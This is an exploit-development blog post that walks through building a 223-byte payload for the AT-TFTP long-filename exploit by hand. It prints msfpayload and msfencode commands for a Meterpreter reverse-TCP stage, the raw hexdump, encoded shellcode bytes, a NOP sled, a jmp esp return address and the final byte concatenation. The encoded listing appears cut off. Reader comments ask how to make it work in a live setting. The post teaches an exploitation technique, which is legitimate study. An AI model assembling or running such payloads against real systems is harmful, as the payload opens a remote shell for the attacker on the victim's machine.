Stack Adjustment by hand

When you are developing an exploit and you have very limited space for your payload you might need to adjust the stack to be able to use staged exploits. The problem, in case of a multi-stage payload, is that when the first stage that you send in your exploit payload starts to download the second stage, the stack pointer (ESP) might point to a place which is not far enough from the first stage in the memory; hence, the second stage might corrupt the code that you are executing. Stack adjustment is a technique that tries to solve this problem by setting the ESP to create more space for the second stage.

There is an easy solution for that which is really straight forward in metasploit. In your exploit you can set the ‘StackAdjustment’ attribute of the payload. Our simple example will be the ‘attftp_long_filename’ exploit with with the ‘windows/meterpreter/reverse_nonx_tcp’ payload. As you can see in the [MSF]/msf3/modules/exploits/windows/tftp/attftp_long_filename.rb it is set to -3500. That will subtract 3500 from the ESP just before executing the payload to make enough space for the second stage. In my case the question was, how to do the same without metasploit.

It is actually not that difficult but I wanted to write about it just for the record. As a PoC I implemented the same exploit in python using the same payload, but I will focus here on creating the payload. Our goal will be to create a payload with the following structure:

NOPsled + StackAdjustment + shellcode

Lets start from behind.


I used the ‘msfpayload’ to generate the first stage of the payload and save it in a file in raw format. I intentionally didn’t encode it at the beginning because I wanted to encode it together with the StackAdjustment, otherwise it wouldn’t fit in the available space. So first let’s generate the payload:

root@bt:/tmp# msfpayload windows/meterpreter/reverse_nonx_tcp LHOST= LPORT=7777 R > payload
root@bt:/tmp# hexdump payload
0000000 6afc 47eb f9e8 ffff 60ff db31 7d8b 8b3c
0000010 3d7c 0178 8bef 2057 ea01 348b 019a 31ee
0000020 99c0 c1ac 0dca c201 c084 f675 6643 ca39
0000030 e375 8b4b 244f e901 8b66 591c 4f8b 011c
0000040 03e9 992c 6c89 1c24 ff61 31e0 64db 438b
0000050 8b30 0c40 708b ad1c 688b 5e08 5366 6866
0000060 3233 7768 3273 545f b966 6072 d6ff 5395
0000070 5353 4353 4353 8953 66e7 ef81 0208 5357
0000080 b966 dfe7 d6ff b966 6fa8 d6ff 6897 a8c0
0000090 6638 6866 611e 5366 e389 106a 5753 b966
00000a0 0557 d6ff b450 500c 5753 6653 c0b9 ff38
00000b0 00e6                                  


Then let’s see how to do the StackAdjustment. We will subtract 3500 from the ESP, that will make enough space for the second stage payload. To do that the ‘sub esp, 0xDAC’ command has to be executed on the target. We can find out the opcode with the nasm_shell.rb tool of metasploit;

root@bt:/opt/metasploit/msf3# ./tools/nasm_shell.rb 
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac 

The happy marriage with encoding

We need to put this opcode before the msf payload and of course it has to be encoded because there are too many 0x00 characters. To do this I just catted together the opcode and the payload and piped it into the msfencode:

root@bt:/tmp# cat stack_adj payload | msfencode -b '\x00\xff' -t ruby
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)

buf =
"\xbe\x15\x4a\xd1\x8c\xda\xde\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x2e\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\xe0\xcb" +
"\x3d\x20\x07\xcc\xbd\xc5\x7d\x27\xfa\xdd\x78\x48\xfa\xe1" +
"\x1a\x86\xde\x95\xa7\xd4\x6b\xd5\x6a\x5d\x6d\xc9\x1f\xca" +
"\x4d\x14\xf5\x7e\xb9\x8c\x08\x6f\xf3\x70\x93\xc3\x35\xba" +
"\xae\x1a\x74\xbf\x70\x69\x8e\x83\x16\xab\xa4\x71\x35\x80" +
"\xb3\x35\x9d\x16\x2d\xaf\x56\x04\xf4\xbb\x27\x29\x07\x55" +
"\xb4\x7d\x9e\x2c\xd6\x59\xbc\x4f\xd9\x42\x8d\x54\x41\x08" +
"\xad\x5a\x02\x4e\x3e\x10\x64\x53\x93\xad\xec\x63\xb5\xd7" +
"\xbf\x15\x21\x2b\x0d\xb2\xc6\x38\x43\x1d\x7d\xd9\x1a\xd3" +
"\x1d\xda\x8a\x81\x8d\x77\x61\xf9\x72\x2b\xc6\xae\xfd\x2c" +
"\xae\xd1\x11\xba\x2c\x85\xbe\xdd\x89\xce\x9e\xdd\x3f\x76" +
"\x98\x8a\xd0\x88\x0c\x5d\x46\xb7\x19\x5a\xf0\x51\x32\x85" +
"\x9d\xfb\x91\x30\xbe\x6e\x06\x10\x17\x09\x9f\xc1\x92\x2a" +

It was important to encode them together otherwise it would not fit in the 223 byte space available in the exploit.


The NOPsled can be easily created with metasploit, since the encoded shellcode is 210 bytes and we need to fill 223 bytes, we need to generate a 13 bytes long NOPsled:

msf  > use nop/x86/opty2
msf  nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.


    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf  nop(opty2) > generate -b '\x00\xff' 13
buf =

Putting everything together

In my exploit, I simply concatenated everything together:

nopsled = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"
shellcode = nopsled
shellcode = shellcode + buf
shellcode = shellcode + "\x53\x93\x42\x7e" #jmp esp address
shellcode = shellcode + "\x83\xc4\x28\xc3" # add esp \x28; retn


The important takeaway here is how to adjust your stack manually if for some reason you can’t use metasploit. It is not difficult you just need to get your hands a bit dirty with bytes and hex.


  1. Hi,

    I found your blog quite interesting and was trying to get this exploit in live scenario but couldn’t perform it.

    Could you please suggest the content of the stack adjust file. Whether it is “00000000 81ECAC0D0000 sub esp,0xdac” or you made any adjustment in order to execute shell code.

    I would really appreciate your prompt response.

  2. geri

    May 19th, 2015 at 12:40


    the stack adjustment file contains the 81ECAC0D0000 in binary format. That is why you need to generate this opcode with the nasm_shell. I hope it helps!


Leave a Reply

Your email address will not be published.



© 2024 Æther Security Lab

Theme by Anders NorenUp ↑